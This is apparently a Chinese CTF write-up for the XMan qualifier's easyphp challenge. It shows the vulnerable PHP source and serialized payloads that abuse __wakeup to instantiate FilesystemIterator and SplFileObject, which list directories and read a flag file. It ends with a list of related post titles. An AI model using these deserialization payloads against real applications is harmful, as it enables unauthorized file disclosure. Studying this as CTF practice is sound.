第五届XMan选拔赛

本次比赛一共三道web,一道签到题就不用说了,另外两道貌似也都不是很难的题,但是确实水个人平太菜,没都做出来,还是逐步积累经验吧

easyphp

<?php
error_reporting(0);
highlight_file(__FILE__);class XMAN{public $class;public $para;public $check;public function __construct(){$this->class = "Hel";$this->para = "xctfer";echo new  $this->class ($this->para);}public function __wakeup(){$this->check = new Filter;if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {echo new  $this->class ($this->para);}elsedie('what?Really?');}}
class Hel{var $a;public function __construct($a){$this->a = $a;echo ("Hello bro, I guess you are a lazy ".$this->a);}
}
class Filter{function vaild($code){$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';if (preg_match($pattern, $code)){return false;}elsereturn true;}
}if(isset($_GET['xctf'])){unserialize($_GET['xctf']);
}
else{$a=new XMAN;
}

本题考点,反序列化及拼接调用filesystemiterator和splfileobject类方法;
通过代码审计,对我们有用的代码如下:

<?php
error_reporting(0);
highlight_file(__FILE__);class A{public $class;public $para;public $check;public function __wakeup(){$this->check = new C;if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {echo new  $this->class ($this->para);          //关键,触发点,能够创建指定类对象}}}

主要是通过反序列化用wakeup拼接调用任意类方法,达到文件读取的目的;
这里的两个类方法功能:

FilesystemIterator:指定目录的迭代器
SplFileObject:获取指定目录下的所有文件,指定文件时通过返回值可以读取文件内容

构造序列化:

<?php
error_reporting(0);
highlight_file(__FILE__);class XMAN{public $class = 'FilesystemIterator';public $para = './';public $check;
}
$payload = new XMAN();
echo serialize($payload);
//得到:
//O:4:"XMAN":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:2:"./";s:5:"check";N;}

显示:
得到文件夹/xxxXXXmMManNNn
继续构造:

<?php
error_reporting(0);
highlight_file(__FILE__);class XMAN{public $class = 'FilesystemIterator';public $para = './xxxXXXmMManNNn/';public $check;
}
$payload = new XMAN();
echo serialize($payload);
//得到:
//O:4:"XMAN":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:17:"./xxxXXXmMManNNn/";s:5:"check";N;}

显示:
提醒flag在f1a4.php里:
构造反序列化调用splfileobject类方法读取文件内容:

<?php
error_reporting(0);
highlight_file(__FILE__);class XMAN{public $class = 'SplFileObject';public $para = './xxxXXXmMManNNn/f1a4.php';public $check;
}
$payload = new XMAN();
echo serialize($payload);
//得到:
//O:4:"XMAN":3:{s:5:"class";s:13:"SplFileObject";s:4:"para";s:25:"./xxxXXXmMManNNn/f1a4.php";s:5:"check";N;}

载入payload后查看源码找到flag

easyssti

一道模板注入的题,还没接触过模板注入,官方wp还看不懂,先滚去学了。

[WP]第五届XMan选拔赛web相关推荐

  1. 【CTF大赛】第五届XMan选拔赛 ezCM Writeup

    ezCM 直至比赛结束,这道题目都是 0 解题,一方面是因为比赛时间较短,另一方面还是因为这道题目较难,考察了不常见的椭圆曲线算法(ECC),大大增加了对做题者的要求. 题目信息 题目是使用 Gola ...

  2. Xman资格选拔赛-web

    variacover 这道题一打开就是源码,主要就是根据源码构造url.其中,它接收的参数只有b,但源码中要获取flag的关键参数是a[0].parse_str()函数的作用是把查询字符串解析到变量中 ...

  3. 广西首届网络安全选拔赛 WEB Writeup

    WEB安全(WEB) WEB 题型就是最大众化的WEB漏洞的考察了,他会涉及到注入,代码执行,文件包含等常见的WEB漏洞. 管理员的愤怒 分值:100 靶机:192.168.43.134 阿水是某部门 ...

  4. [*CTF2022]web题目复现及wp

    文章目录 WEB oh-my-grafana oh-my-notepro 坑点 oh-my-lotto 非预期 PATH变量 WGETRC变量 oh-my-lotto-revenge 非预期 WGET ...

  5. 国赛mysql加固_2019 全国大学生信息安全竞赛创新能力实践赛3道Web Writeup

    0x01 JustSoso 本题的主要知识点在于反序列化的应用和parse_url()函数的解析问题,首先通过网页源码中的文件读取提示读取得到index.php文件源码和hint文件源码,任意文件读取 ...

  6. SWPUCTF2022 校内赛道部分 wp

    文章目录 web 欢迎来到Web安全 easy_sql happy_rce happy_php do_not_wakeup can you faster ez_include newnew easy_ ...

  7. Incognito CTF 3.0部分WP及赛后复现

    ictf部分wp及赛后复现 Web Invisible We found an illegal forum but are unable to access due to it being invit ...

  8. LitCTF2023 郑州轻工业大学首届网络安全赛 WP 部分

    LitCTF2023 郑州轻工业大学首届网络安全赛 WP 部分 前言: Web: 我Flag呢? 导弹迷踪: Follow me and hack me: PHP是世界上最好的语言!! 作业管理系统: ...

  9. 战力爆表|21支明星战队等你围观!

    ​​大浪淘沙始见金,风卷残云剩为王 21支高校明星CTF战队初露王者之相 晋级XCTF高校网络安全专题挑战赛总决赛 2021年10月29日-10月30日东莞·华为松山湖园区 集结再出发,踏上新征途! ...

  10. Linux服务器--CentOS7上实现LAMP(PhpMyAdmin,WordPress,Discuz)

    CentOS7上实现LAMP 实验要求: 在CentOS7上实现LAMP(使用rpm安装),功能如下: 在httpd上实现三个虚拟主机, 主机名分别为: Vhosts1:pma.Stud.com ,此 ...

最新文章

  1. 如何及时获得AI顶尖科研团队的最新论文与进展?你需要一份AI内参!
  2. python flask 学习与实战
  3. 集群、分布式、微服务的概念及异同
  4. 使用java代码发送zip文件到邮箱_Azkaban安装与使用(下)
  5. DotText研究资料整理
  6. Glassnode:比特币正迎来多年以来最大的流动性枯竭
  7. JS对于JSON的增删改查操作
  8. android内核读取file文件
  9. Sublime Text 3 汉化
  10. assert断言的概念
  11. 3D数学基础----欧拉角
  12. HeadFirstJava 11异常处理
  13. java jsp交友系统_Jsp+Servlet+Javabean网络交友程序设计+源代码
  14. SHFileOperation删除文件夹
  15. linux加密认证全面分析
  16. MIDIPLUS/迷笛studio m pro 2 valve声卡安装调试教程
  17. JavaScript-作用域和作用链
  18. 用断点续存实现视频快速上传
  19. 0321 预习笔记直播笔记
  20. Redis全部知识总结(概念、安装、用法、数据类型、事务、持久化、Jeids、订阅系统、缓存穿透及雪崩等)

热门文章

  1. 游戏制作之路(3)Blender制作极简动画
  2. 微信图片怎么删除?微信聊天图片批量删除只需要用这2招…
  3. js使用微信上传图片功能
  4. SDOI 2014 数表 题解
  5. 安装配置Axis2,为Eclipse安装配置Axis2插件教程
  6. 月薪11970元的网络运维工程师需要掌握哪些必备技能?
  7. IIS 部署.NetCore
  8. SSM框架-Spring(一)
  9. linux设置ps1命令行
  10. 小学教育专业语文方向毕业论文怎么选题?